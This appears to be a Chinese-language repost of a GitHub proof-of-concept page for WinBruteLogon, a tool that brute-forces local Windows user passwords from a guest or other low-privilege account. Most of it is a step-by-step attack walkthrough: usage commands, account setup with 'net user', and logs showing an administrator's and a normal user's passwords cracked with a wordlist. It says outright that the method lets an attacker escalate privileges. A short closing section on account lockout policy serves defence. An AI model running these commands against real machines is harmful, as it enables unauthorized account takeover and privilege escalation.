神兵利器 - 在没有任何权限的情况下破解任何 Microsoft Windows 用户密码
项目地址:https://github.com/DarkCoderSc/win-brute-logon
目标:Windows XP 到最新的 Windows 10 版本 (1909)
用法词表文件- WinBruteLogon.exe -u <username> -w <wordlist_file>
复制代码
标准输入词汇表
- type <wordlist_file> | WinBruteLogon.exe -u <username> -
复制代码
介绍这个 PoC 更像是我所说的 Microsoft Windows 身份验证机制中的一个严重弱点,而不是一个漏洞。
最大的问题与缺乏执行此类操作所需的权限有关。
实际上,通过访客帐户(Microsoft Windows 上最受限制的帐户),您可以破解任何可用本地用户的密码。
使用命令找出哪些用户存在:net user
这个 PoC 使用多线程来加速进程并支持 32 位和 64 位。
PoC 测试场景(使用访客账户)在 Windows 10 上测试
安装和配置新更新的 Windows 10 虚拟机或物理机。
在我的情况下,完整的 Windows 版本是:1909 (OS Build 18363.778)
以管理员身份登录并让我们创建两个不同的帐户:一个管理员和一个普通用户。两个用户都是本地用户。
/!\ 重要提示:我在演示中使用了 Guest 帐户,但这个 PoC 不仅限于 Guest 帐户,它适用于任何帐户/组(guest 用户/普通用户/admin 用户等...)
创建一个新的管理员用户
- net user darkcodersc /add
- net user darkcodersc trousers
- net localgroup administrators darkcodersc /add
复制代码
创建普通用户
- net user HackMe /add
- net user HackMe ozlq6qwm
复制代码 创建一个新的访客帐户
- net user GuestUser /add
- net localgroup users GuestUser /delete
- net localgroup guests GuestUser /add
复制代码
开始攻击
从管理员帐户注销或重新启动计算机并登录到访客帐户。
将 PoC 可执行文件放在您作为访客用户可以访问的任何地方。
用法 :WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v是可选的,它设计了详细模式。
默认情况下,域名是%USERDOMAIN%env var 指定的值。您可以使用选项指定自定义名称-d
破解第一个用户:(darkcodersc管理员)
提示(客人)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待几秒钟以查看以下结果:
- [ .. ] Load 10k-most-common.txt file in memory...
- [DONE] 10002 passwords successfully loaded.
- [INFO] 2 cores are available
- [ .. ] Create 2 threads...
- [INFO] New "TWorker" Thread created with id=2260, handle=364
- [INFO] New "TWorker" Thread created with id=3712, handle=532
- [DONE] Done.
- [ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
- [ .. ] Finalize and close worker threads...
- [INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
- [INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
- [DONE] Done.
- [INFO] Ellapsed Time : 00:00:06
复制代码
[backcolor=var(--color-canvas-subtle)]破解第二个用户:(HackMe普通用户)
提示(客人)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt 等待几秒钟以查看以下结果: - [ .. ] Load 10k-most-common.txt file in memory...
- [DONE] 10002 passwords successfully loaded.
- [INFO] 2 cores are available
- [ .. ] Create 2 threads...
- [INFO] New "TWorker" Thread created with id=5748, handle=336
- [INFO] New "TWorker" Thread created with id=4948, handle=140
- [DONE] Done.
- [ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
- [ .. ] Finalize and close worker threads...
- [INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
- [INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
- [DONE] Done.
- [INFO] Ellapsed Time : 00:00:06
复制代码
如果您获得了对低权限用户的访问权限,则可以破解更高权限用户的密码并提升您的权限。
修复:
实施安全锁定策略(默认不存在)
打开secpol.msc然后转到Account Policies>并使用(1 到 999)之间的所需值Account Lockout Policy编辑值。Account lockout threshold 值表示锁定之前可能尝试的次数。 /!\ LockDown Policy 不适用于管理员帐户。此时,对管理员帐户(如果启用)的最佳保护是设置一个非常复杂的密码。
|